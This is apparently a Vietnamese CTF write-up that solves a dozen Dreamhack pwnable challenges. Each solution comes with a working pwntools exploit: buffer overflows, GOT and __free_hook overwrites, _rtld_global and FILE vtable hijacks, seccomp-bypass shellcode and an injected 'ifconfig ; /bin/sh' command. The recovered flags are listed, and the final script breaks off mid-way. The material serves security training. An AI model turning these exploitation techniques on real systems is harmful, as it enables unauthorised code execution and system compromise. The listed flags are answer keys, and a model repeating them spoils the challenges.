#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
```
- ngồi dịch hint 😬

- dự định là cứ mỗi stack sẽ ghi đè byte của ``get_shell`` cho đủ 256 byte
- do k cần leak stack để trỏ vào 1 addr cần thiết
- đây là file 32 nên 256/4=64
- tìm addr của ``get_shell``

>0x80485db

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./off_by_one_000',checksec=False)
#p = process(exe.path)
p = remote('host2.dreamhack.games',20684)
get_shell_addr = 0x80485db
payload = p32(get_shell_addr)*64
p.sendafter(b'Name: ',payload)
p.interactive()
```
>DH{fef043d0dbe030d01756c23b78a660ae}
___
## cmd_center
- check file

- checksec

- check ida

- check source

- nhìn ida ta thấy sau **buf**[32] thì tới **s1** là sẽ ``strcpy`` với 'ifconfig' sau đó đi tới ``read`` nhập vào **buf** r lại tiếp tục kiểm tra **s1** với 'ifconfig'
- ``if`` bằng 1 thì mới dô ``system``, thì để bằng 1 thì ``strncmp`` phải bằng 0, mà bằng 0 khi so sánh 2 chuỗi bằng nhau
- mà so sánh 2 chuỗi bằng nhau (chỉ so sánh 8 byte) r thì lại thực thi ``system`` của **s1** (tức là thực thi 'ifconfig' trong ``system``)
- vậy điều ta cần làm và vừa cho nó thoả điều kiện vừa chạy ``system(/bin/sh)``
- thì ta sẽ gửi 'ifconfig && /bin/sh'
- vì vừa thoả ``if`` vừa thực thi dc ``system`` cả 'ifconfig' và '/bin/sh'

- hmmm local thì cho shell á nhưng server thì chưa
- xem hint:

- thấy ngoài '&&' thì có những lệnh khác (mù tiếng Hàn XD)

- thấy ';' hoạt động trên server nên lụm luôn

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./cmd_center',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',23853)
payload = b'A'*32
payload += b'ifconfig ; /bin/sh'
#payload += b'ifconfig | cat flag' // cách 2
p.sendafter(b'Center name: ',payload)
p.interactive()
```
- cách 2(tự tìm hiểu thêm)

>DH{f4c11bf9ea5a1df24175ee4d11da0d16}
___
## ssp_000
- check file

- checksec

- check ida

- nhập **buf**, kế đến nhập **addr**(v4) rồi **value**(v5)
- nhưng dữ liệu nhập vào **v4** và **v5** là con số (%ld)
- cuối cùng thiết lập con trỏ v4 trỏ tới địa chỉ v5
- check source code
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
```
- hướng đi: v5 sẽ gắn địa chỉ ``get_shell``, v4 là 1 địa chỉ nào đó(đồng thời là 1 con trỏ)

>0x4008ea
- nhưng lớp bảo vệ có canary, ta phải leak dc cannary
- chương trình nhập **buf** từ đây:

- lần nhập thứ 2 lại ngay đây:

- vấn đề là làm sao để jump ngay rip trong khi lượt nhập lại trên đống **buf** (mà k phải tiếp tục sau **buf**)
- hint:

- ta sẽ lợi dụng cái canary
- vì do khi thực thi 1 lúc trước ``ret``, nếu mà canary nó khác đi 1 byte chăng nữa sẽ tự động Segmentation Fault
- thế thì ta sẽ ghi lố 1 byte vào canary (72 là chạm canary, 73 sẽ ghi đè 1 byte cuối canary)
- biến v4 là con trỏ thì ta sẽ trỏ tới cái "sai trái" ``stack_check_fail`` XDD
- lét gô

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./ssp_000',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',21645)
get_shell_addr = 0x4008ea
payload = b'A'*73
p.send(payload)
payload = str(exe.got['__stack_chk_fail'])
p.sendlineafter(b'Addr :',payload)
payload = str(get_shell_addr)
p.sendlineafter(b'Value :',payload)
p.interactive()
```
>DH{e4d253b82911565ad8dd9625fb491ab0}
___
## fho
> từ tên đề đoán là free_hook_overwrite
- check file

- checksec

> full giáp :<
- check ida

- check source code

- hint cũng tương tự bài ``hook``

- bài này phải leak canary đầu tiên
- nhưng khoan, ta cũng cần phải leak libc
- tại đề yêu cầu nhập lần 2 là địa chỉ ta muốn ghi bất kì
- lần 1 là địa chỉ muốn ow
- lần 2 là địa chỉ muốn **free()**
- nếu lần 1 leak canary thì libc base để đâu, cũng hên là do khi ta cấp phát bộ nhớ ảo thì sẽ k đụng chạm tới rbp, cũng như đụng chạm tới canary (chỉ cấp phát tức thời ngay rsi)
- và chương trình chỉ ngắt sau khi check canary ở gần ``ret`` cuối chương trình, z ta có thể lợi dụng thay vì leak canary, ta sẽ leak libc và lần nhập 2 ta sẽ cấp phát bộ nhớ tức thời, đi đến địa chỉ ``system`` ở lần nhập 3 r trỏ đến "/bin/sh" ở lần nhập 4
- cũng hợp lí mà nhể (ý tưởng từ bài ``hook`` mà qua)
- và nghệ thuật là:
- có 1 lần free ở cuối chương trình, z ta có thể malloc bù trừ hoặc tiếp tục dùng ``__free_hook`` dằn mặt cái free của file =)))))))
- thui chọn free dằn mặt
- đầu tiên leak libc, sau đó cho ``__free_hook`` vào lần nhập 2
- lần nhập 3 là địa chỉ system: ``libc.sym['system']``
- rồi cuối cùng là chuỗi /bin/sh:
``next(libc.search(b'/bin/sh))``
- từ rsi đến rbp là 72 byte

- ta leak ở ``<__libc_start_main+231>`` thì muốn tính libc base, ta lấy cái leak dc trừ cho địa chỉ thấp nhất là ``__libc_start_main`` rồi trừ trêm 231

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./fho_patched',checksec=False)
libc = ELF('./libc-2.27.so',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games', 22892)
payload = b'A'*72
p.sendafter("Buf: ", payload)
libc_offset = libc.sym['__libc_start_main']
p.recvuntil(payload)
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - (libc_offset + 231)
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
free = libc.sym["__free_hook"]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
payload = str(free)
p.sendlineafter("To write: ", payload)
payload = str(system)
p.sendlineafter("With: ", payload)
payload = str(binsh)
p.sendlineafter(b'To free: ',payload)
p.interactive()
```
>DH{584ea800b3d6ff90857aa4300ba42218}
___
## memory_leakage
- check file + checksec

- check ida

- đầu tiên ta sẽ tạo flag giả thử trước
- vì file sẽ mở flag ở thư mục root, chung vs thư mục ``/home``, tức là thay vì ta tạo flag chung thư mục có file ta đang khai thác thì ta tạo flag ngay ở ``cd /``
- path ``/home/Downloads/dreamhack/mem_leak/flag`` thành path ``/flag``

```
sudo touch /flag #tạo file flag
sudo su #chạy dưới quyền root
echo "KCSC{fake_flag}" > /flag
```
- thấy case 3 là đọc flag r, nhưng linh cảm là bịp =))))
- nó chỉ đưa flag lên stack thôi
- case1, biến v4 khai báo 16 byte, k có BOF ở đây
- lỗi ở đây

- ``read()`` đc biểu diễn ``sizeof(my_page.name)`` thay vì ``sizeof(my_page.name)-1``
- dẫn đến sẽ ghi đè lố 1 byte trên biến **age**

- **name** ở esp + 0x20
- **age** ở esp + 0x30 (cách nhau 0x10 là 16 bytes, đúng khi byte lố bị ghi đè)
- **flag** nằm ở esp + 0x34
- **flag** ngay sau **age**, nếu ta ghi đè nối tiếp ghi đè thì chuyện j xảy ra
- nó sẽ leak cái nội dung của **flag**
- vì **age** là nhập dạng số nên ta sẽ gửi **name** full 16 byte và ép kiểu 4 byte kế dạng số ``str(int())``

- KSCS{hahahahahahahaha}

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./memory_leakage',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',10267)
# gdb.attach(p, gdbscript='''
# b*main+128
# b*main+190
# b*main+195
# b*main+229
# b*main+190
# c
# ''')
# input()
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'1')
payload = b'\1'*16
p.sendafter(b'Name: ',payload)
p.sendlineafter(b'Age: ',str(int(0x01010101)))
p.sendlineafter(b'> ', b'2')
p.interactive()
#name o esp + 0x20
#age o esp + 0x30
#flag o esp + 0x34
```
>DH{a77ae81944bbbe70adb10d98dc191379}
___
## rtld
- check file + checksec

>full giáp
- check ida

- có hàm ``get_shell``, có khi nào là ret2win?
- nhưng vấn đề là dữ liệu nhập vào dưới dạng ``%ld``, nên chắc func ``get_shell`` bịp thôi, vậy hướng ta là dùng tool one_gadget
- coi hint:

- mù tiếng Hàn xẻng XD
- thấy có liên quan tới file ld, 1 file nào đó xuất hiện khi ta ``pwninit``
- v ta có thể leak libc base từ stdout đề đã cho và tính luôn ld base

- và có tham số ``_rtld_global`` mới mẻ

- và có luôn ``recursive`` j đó, theo như hướng dẫn thì ta gửi cái ``recursive``

- éc ô éc =))))


- fix lại bản pwninit mới nhất 3.3.0 và tải cái thằng quỉ này về =)))


```
cd /usr/bin
sudo rm pwninit #gỡ bản cũ 3.2.0
sudo wget https://github.com/io12/pwninit/releases/download/3.3.0/pwninit
sudo chmod +x pwninit
sudo apt-get install elfutils
```
- vậy theo ida thì lần nhập addr thì ta sẽ gửi địa chỉ ``recursive`` gì đấy dưới dạng str(``address_recursive``) và value sẽ gửi str(``one_gadget``)
- phân tích xíu:
- ``dl_load_lock`` là loại biến thành viên, ta sẽ ghi đè '/bin/sh' để lấy shell (trong trường hợp này có lẽ k cần vì trong file có sẵn hàm ``system(/bin/sh)``)
- ``_dl_rtld_lock_recursive`` là loại con trỏ hàm, ta sẽ ghi đè **system** (cụ thể ở dây là chơi luôn one_gaget)

- trên local tạo shell thành công nhưng remote thì chưa
- hoá ra mới biết ld base trên server nó khác

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rtld_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',9044)
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1],16)
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
#ld.address = libc.address + 0x400000
ld.address = libc.address + 0x3ca000
log.info(" stdout leak: " + hex(stdout))
log.info("libc base: " + hex(libc.address))
log.info("ld base: " + hex(ld.address))
ld_global = ld.address + 2252864
ld_recursive = ld_global + 3848
#one_gadget = 0x45216 ; 0x4526a ; 0xf02a4 ; 0xf1147
one_gadget = libc.address + 0xf1147
p.sendlineafter("addr: ", str(ld_recursive))
p.sendlineafter("value: ", str(one_gadget))
p.interactive()
#0x7ffff7e1a780
```
>DH{0f48186a16d315abba4d77ccdf507da4}
### reference
https://dreamhack.io/lecture/courses/269
___
## seccomp
- check file + checksec

- check ida

- hint:

- sau khi coi 6 trang này thì..., vẫn ngu tiếng Hàn =))))))


- nôm na thấy ``FILTER_MODE`` nó khai thác dc hơn
- nhưng dựa vào ida thì ý tưởng thế này
- case3 sẽ lưu 1 addr ta muốn, case1 là viết shellcode, case2 là thực thi shellcode
- đừng lo lắng vì checksec có ``NX enable`` bởi mình sẽ thực thi shellcode tại địa chỉ khác chứ k phải ở ``ret`` ngay stack
- vì có trick trong pwntool sẽ tạo 1 shellcode ( coi lại ở bài [shell basic](https://hackmd.io/@trhoanglan04/HyieDY4l2#shell-basic) )
- vào vấn đề nè, địa chỉ nào mới được =)))
- hàm ``syscall_filter``

-
- ở đây có 2 loại ``STRICT_MODE`` VÀ ``FILTER_MODE``

- trong ``STRICT_MODE``


> giới hạn các quyền call vào chương trình, cụ thể là read, write, exit, sigreturn
- trong ``FILTER_MODE``


> chế độ này sẽ ít đòi hỏi hơn, ta sẽ để ý chế độ này hơn
- đối số ở đây thấy đề cập nhiều số 2, có thể **execve**(2)
- đọc source code có thấy biến này đáng chú ý, biến này dc thiết lập theo kiểu ``SECCOMP_STRICT``

- tìm kiếm ``mode``

>0x602090
- địa chỉ biến **mode** đó sẽ gửi vào lần nhập addr
- và đối số sẽ nhập số nào đó khác số '1'
> vì số '1' có liên quan đến STRICT ...maybe
> mục tiêu ta sẽ đổi từ STRICT sang FILTER
> thấy đối số k nhất thiết là số '2', số '0', số '9' đều đc, miễn khác số '1' là được
- bing chillingggg

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./seccomp',checksec=False)
#p = process(exe.path)
p = remote("host3.dreamhack.games", 11366)
mode = 0x602090
shellcode = asm(shellcraft.sh())
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'addr: ', str(mode))
p.sendlineafter(b'value: ',b'2')
p.sendlineafter(b'> ',b'1')
p.sendafter(b'shellcode: ', shellcode)
p.sendlineafter(b'> ',b'2')
p.interactive()
```
>DH{22b3695a64092efd8845efe7eda784a4}
### reference
https://dreamhack.io/lecture/courses/263
```
sudo apt install libseccomp-dev libseccomp2 seccomp
sudo apt install gcc ruby-dev
gem install seccomp-tools
```
___
## Bypass SECCOMP-1
- check file + checksec

- check ida


- check source code

- có liên quan đến seccomp, hmmm liên quan đến quyền ``open``, ``execve``,``execveat``,``write``
- xài tool thử

> lệnh dump hợp lí nè

- theo như tool là ta bị cấm các quyền ``open``, ``execve``,``execveat``,``write`` và nếu có kiến trúc không phải 'x86_64' cũng bị cấm (nếu có 1 trong những quyền đó | kiến trúc khác thì bị ret KILL)
- tên đề là "bypass", hmmm
- thấy cũng tựa tựa bài [shell-basic](https://hackmd.io/@trhoanglan04/HyieDY4l2#shell-basic)
- ta lên các syscall table coi thử

> openat có cấu trúc tương tựu open, khác mỗi arg

- vậy tham số đầu ta sẽ để 0, thứ 2 là đường dẫn tới flag (thông thường sẽ là trong /home/``chall``/flag), còn tham số thứ 3 chắc để 0 đi
- về hàm write và read để đọc và in ra thì ta thấy có syscall này cũng tương tự

> nó sẽ đọc thông tin file

- tham số đầu sẽ là 1 hoặc 0 (stdout), tham số 2 sẽ stdin vào $rax, tham số thứ 3 là offset bắt đầu đọc (nếu muốn lấy toàn bộ dữ liệu thì để 0 hoặc NULL), tham số 4 là size(ta để 100 cho nó thoáng)

- vậy shellcode ta chỉ cần mở flag lên, đọc và in ra thông tin

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bypass_syscall',checksec=False)
context.arch = 'x86_64'
#p = process(exe.path)
p = remote('host3.dreamhack.games', 16558)
payload = shellcraft.openat(0,'/home/bypass_syscall/flag',0)
payload += shellcraft.sendfile(1, 'rax', 0, 100)
p.sendafter('shellcode: ', asm(payload))
p.interactive()
```
>DH{bfd9d65167c7dfabba82e6870bb4a77e}
___
## cpp_string
- check file + checksec

- check ida

- source code
```cpp
//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>
char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int read_file(){
std::ifstream is ("test", std::ifstream::binary);
if(is.is_open()){
is.read(readbuffer, sizeof(readbuffer));
is.close();
std::cout << "Read complete!" << std::endl;
return 0;
}
else{
std::cout << "No testfile...exiting.." << std::endl;
exit(0);
}
}
int write_file(){
std::ofstream of ("test", std::ifstream::binary);
if(of.is_open()){
std::cout << "Enter file contents : ";
std::cin >> writebuffer;
of.write(writebuffer.c_str(), sizeof(readbuffer));
of.close();
std::cout << "Write complete!" << std::endl;
return 0;
}
else{
std::cout << "Open error!" << std::endl;
exit(0);
}
}
int read_flag(){
std::ifstream is ("flag", std::ifstream::binary);
if(is.is_open()){
is.read(flag, sizeof(readbuffer));
is.close();
return 0;
}
else{
std::cout << "You must need flagfile.." << std::endl;
exit(0);
}
}
int show_contents(){
std::cout << "contents : ";
std::cout << readbuffer << std::endl;
return 0;
}
int main(void) {
initialize();
int selector = 0;
while(1){
std::cout << "Simple file system" << std::endl;
std::cout << "1. read file" << std::endl;
std::cout << "2. write file" << std::endl;
std::cout << "3. show contents" << std::endl;
std::cout << "4. quit" << std::endl;
std::cout << "[*] input : ";
std::cin >> selector;
switch(selector){
case 1:
read_flag();
read_file();
break;
case 2:
write_file();
break;
case 3:
show_contents();
break;
case 4:
std::cout << "BYEBYE" << std::endl;
exit(0);
}
}
}
```
- nhìn qua ida lú quá, nhìn source dễ exploit hơn =)))


- ở đây ta thấy lỗi ở hàm read

- ta chỉ cần chèn full 64 byte của biến read là sẽ nối đuôi flag
- chọn option1 để đọc 2 file **flag** và **test**
- chọn option2 để BOF
- chọn option3 để in ra

- remote

- script:
```python
from pwn import *
p = remote('host',port)
p.sendline(1)
p.sendline(2)
p.sendline(b'A'*65)
p.sendline(3)
p.interactive()
# =))))))))))) lười viết script
```
>DH{549390a9beb20a8d0e9a6aa0efcb571f}
---
## iofile_vtable
- check file + checksec

- check ida

- check source code
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
```
- có hàm system("/bin/sh")

>0x40094a
- bài này có liên quan đến cấu trúc ``_IO_FILE``

- mục tiêu (ghi đè **vtable**)

- trong 4 option thì thấy option4 khá là nghi ngờ

- ``read(0, stderr +1,8)``, ta sẽ kiểm tra trong gdb
```bash
gef➤ p stderr
$1 = (FILE *) 0x7ffff7e1a6a0 <_IO_2_1_stderr_>
gef➤ p _IO_2_1_stderr_
$2 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e16600 <_IO_file_jumps>
}
gef➤
```
- ta thấy mục vtable dưới cùng
- ngoài ra, ``read(0,stderr +1,8)`` là read vào giá trị ``stderr +1``, kiểm tra...
```gef
vtable = 0x7ffff7e16600 <_IO_file_jumps>
}
gef➤ p stderr+1
$3 = (FILE *) 0x7ffff7e1a778 <_IO_2_1_stderr_+216>
gef➤ x/xg 0x7ffff7e1a778
0x7ffff7e1a778 <_IO_2_1_stderr_+216>: 0x7ffff7e16600
```
- ``stderr+1`` nhận được từ read là địa chỉ trỏ tới **vtable** (nói chính xác, đó là địa chỉ của \<_IO_file_jumps> )
- nếu vậy, hàm read sẽ thêm giá trị của **vtable** trong cấu trúc của nó vào \<_IO_file_jumps> để tham chiếu đến hàm được yêu cầu.
- lần nhập đầu tiên là cho **name**

>0x000000006010d0
- nhập giới hạn 8 byte (kha khá giống địa chỉ)
- option3 có hàm mới

- mà cũng k liên quan lắm =)))
- option2 sẽ đưa "ERROR\n" vào stderr
- option4 sẽ thay đổi ``stderr+1`` thành địa chỉ mình muốn
> ở đây thấy mối liên kết chặc chẽ giữa vtable và stderr+1
- vấn đề là ở option4 ta sẽ đưa địa chỉ nào vào?
- idea: ở **name** ghi địa chỉ ``get_shell`` rồi debug kiểm tra thử
- breakpoint ngay option2


- thắc mắc là tại sao source code là ``fprintf`` nhưng trong ida lại là ``fwrite`` thì gpt có giải thích là

> thực hiện ``fwrite`` sẽ trigger thằng ``__xsputn``
- thế thì kiểm tra vtable
``vtable = 0x7ffff7e16600 <_IO_file_jumps>``
```gef
gef➤ p _IO_file_jumps
$4 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7c8c070 <_IO_new_file_finish>,
__overflow = 0x7ffff7c8ce40 <_IO_new_file_overflow>,
__underflow = 0x7ffff7c8cb30 <_IO_new_file_underflow>,
__uflow = 0x7ffff7c8dde0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7c8f300 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7c8b680 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7c8b330 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7c8a960 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7c8e530 <_IO_default_seekpos>,
__setbuf = 0x7ffff7c8a620 <_IO_new_file_setbuf>,
__sync = 0x7ffff7c8a4b0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7c7eb90 <__GI__IO_file_doallocate>,
__read = 0x7ffff7c8b9b0 <__GI__IO_file_read>,
__write = 0x7ffff7c8af40 <_IO_new_file_write>,
__seek = 0x7ffff7c8a6f0 <__GI__IO_file_seek>,
__close = 0x7ffff7c8a610 <__GI__IO_file_close>,
__stat = 0x7ffff7c8af30 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7c8f4a0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7c8f4b0 <_IO_default_imbue>
}
gef➤ x/xg 0x00007ffff7e16600
0x7ffff7e16600 <_IO_file_jumps>: 0x0000000000000000
gef➤ x/10xg 0x00007ffff7e16600
0x7ffff7e16600 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16610 <_IO_file_jumps+16>: 0x00007ffff7c8c070 0x00007ffff7c8ce40
0x7ffff7e16620 <_IO_file_jumps+32>: 0x00007ffff7c8cb30 0x00007ffff7c8dde0
0x7ffff7e16630 <_IO_file_jumps+48>: 0x00007ffff7c8f300 0x00007ffff7c8b680
0x7ffff7e16640 <_IO_file_jumps+64>: 0x00007ffff7c8b330 0x00007ffff7c8a960
gef➤
0x7ffff7e16650 <_IO_file_jumps+80>: 0x00007ffff7c8e530 0x00007ffff7c8a620
0x7ffff7e16660 <_IO_file_jumps+96>: 0x00007ffff7c8a4b0 0x00007ffff7c7eb90
0x7ffff7e16670 <_IO_file_jumps+112>: 0x00007ffff7c8b9b0 0x00007ffff7c8af40
0x7ffff7e16680 <_IO_file_jumps+128>: 0x00007ffff7c8a6f0 0x00007ffff7c8a610
0x7ffff7e16690 <_IO_file_jumps+144>: 0x00007ffff7c8af30 0x00007ffff7c8f4a0
```

```bash
gef➤ x/xg 0x00007ffff7c8b680
0x7ffff7c8b680 <_IO_new_file_xsputn>: 0x56415741fa1e0ff3
```
- lúc này độ chênh lệch từ ``_IO_new_file_xsputn`` đến ``_IO_file_jumps`` là từ +0 đến +56

```gef
gef➤ x/xg 0x7ffff7e16638
0x7ffff7e16638 <_IO_file_jumps+56>: 0x00007ffff7c8b680
gef➤ p/x 0x7ffff7e16638 - 0x7ffff7e16600
$8 = 0x38
```
- vậy túm lại là, option4 để thay đổi **vtable** trỏ về ``name-0x38``
>để ``_IO_file_jumps`` ( là **vtable** = ``get_shell - 0x38`` ) khi tới ``fwrite`` từ option 2 sẽ trigger struct trên thực hiện ``__xsputn`` ( là ``get_shell`` )
- option2 để trigger ``_xsputn`` ( lúc này là ``get_shell`` )

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./iofile_vtable',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games', 19344)
# gdb.attach(p, gdbscript='''
# b*main+77
# b*main+154
# b*main+228
# c
# ''')
# input()
get_shell = 0x40094a
name = 0x000000006010d0
payload = p64(get_shell)
p.sendafter(b'name: ',payload)
p.sendlineafter(b'> ', b'4')
bingo = name - 0x38
payload = p64(bingo)
p.sendafter(b'change: ',payload)
p.sendlineafter(b'> ', b'2')
p.interactive()
```
>DH{9f746608b2c9239b6b80eb5bbcae06ed}
### reference
https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
https://nicholas-wei.github.io/2022/02/03/IO-file-vtable/
---
## Overwrite _rtld_global
- check file + checksec

>full giáp
- check ida

- đề cho libc, ta pwninit thì nhận thêm được file ld

- vì là dạng rtld nên trong script ta sẽ load cả 3 file (exe, libc, ld)
- vì trong file chưa có sẵn chuỗi "/bin/sh"

- nên ta sẽ thêm 1 loại biến thành viên là load_lock

- tìm offset


- theo như ida, đề sẽ lặp vòng lặp vô hạn miễn "> " dc input số 1, nếu không sẽ break chương trình
- nhập 2 lần "addr" và "value"
- idea: lần 1 gửi load_lock chèn "/bin/sh\0" dưới dạng số cho hợp vs scanf (%ld)
- lần 2 ta sẽ gửi recursive và chèn system vào
- đu dữ liệu rồi thì ta sẽ gửi con số khác '1' để break vòng lặp
- local đã tạo shell

- remote thì vẫn tương tự hoi, vẫn như bài [rtld](https://hackmd.io/@trhoanglan04/HyieDY4l2#rtld) khác offset =))))

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./ow_rtld_patched',checksec=False)
libc = ELF('./libc-2.27.so_18.04.3', checksec=False)
ld = ELF('./ld-2.27.so',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games',22339)
# gdb.attach(p, gdbscript='''
# b*main+145
# b*main+186
# c
# ''')
# input()
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1],16)
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
#ld.address = libc.address + 0x400000
ld.address = libc.address + 0x3f1000
log.info(" stdout leak: " + hex(stdout))
log.info("libc base: " + hex(libc.address))
log.info("ld base: " + hex(ld.address))
ld_global = ld.address + 2261088
ld_load_lock = ld_global + 2312
ld_recursive = ld_global + 3840
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(ld_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\0")))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(ld_recursive))
p.sendlineafter("data: ", str(libc.sym['system']))
p.sendlineafter("> ", "2")
p.interactive()
```
>DH{2883ffb28842d85677f75c328da85cd7}
---
## __environ
- check file + checksec

>full giáp =))
- check ida

- bài này liên quan tới biến môi trường

- gg dịch hoi chứ hiểu tiếng Hàn đâu =)))

- file cho mình stdout, hoàn toàn có thể leak libc
- kiểm tra file thấy dc linked với libc.so.6
- kiểm tra biến môi trường

- vẫn ở vòng lặp while, gửi '1' sau '> ' sẽ tiếp tục nhập 'Addr: ', ta sẽ gửi addr của biến môi trường

- vì như ta thấy hình dưới đây, biến ``__environ`` là 1 con trỏ kép

- sau khi gửi vào 'Addr: ', file sẽ tiếp tục in ra %s của biến v4

- ta thấy leak dc những byte này, check xem đó là địa chỉ j

- leak ra là 1 cái stack

- hmmm
- nếu lần nhập sau ta gửi địa chỉ của flag thì sao nhỉ (tức là nơi flag được lưu vào, thì khi %s có thể sẽ in flag cho mình)

- tìm offset từ biến ``__environ`` đến $rcx

> 0x1568
:::spoiler góc phân tích nho nhỏ
- tại sao lại là thanh ghi $rcx
- trước khi read flag

- sau khi read flag

- thấy rằng sự thay đổi đến từ thanh ghi $rcx
:::
- khi kết nối tới server thì thấy libc hơi khác
- ngay ở stdout, (file gốc là 780, file patched với libc.so.6 là 620, server là 760)

- dùng libc này thì sẽ ra 1 đống byte leak nhưng k tồn tại byte nào trong stack (byte '/x7f')
- ta thử từng file libc thì thấy libc-2.27-2.so thì đc =))))

- quằn thặc sự =)))
- tính lại offset

>0x1538

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./environ_exercise_patched',checksec=False)
libc = ELF('./libc-2.27-2.so',checksec=False)
#p = process(exe.path)
p = remote('host3.dreamhack.games', 11696)
# gdb.attach(p, gdbscript='''
# b*main+41
# b*read_file+77
# b*main+112
# b*main+169
# ''')
# input()
p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1],16)
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
environ = libc.sym['__environ']
log.info(" stdout leak: " + hex(stdout))
log.info("libc base: " + hex(libc.address))
log.info("environ: " + hex(environ))
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Addr: ', str(environ))
#p.recv(1)
leak = u64(p.recv(6) + b'\0\0')
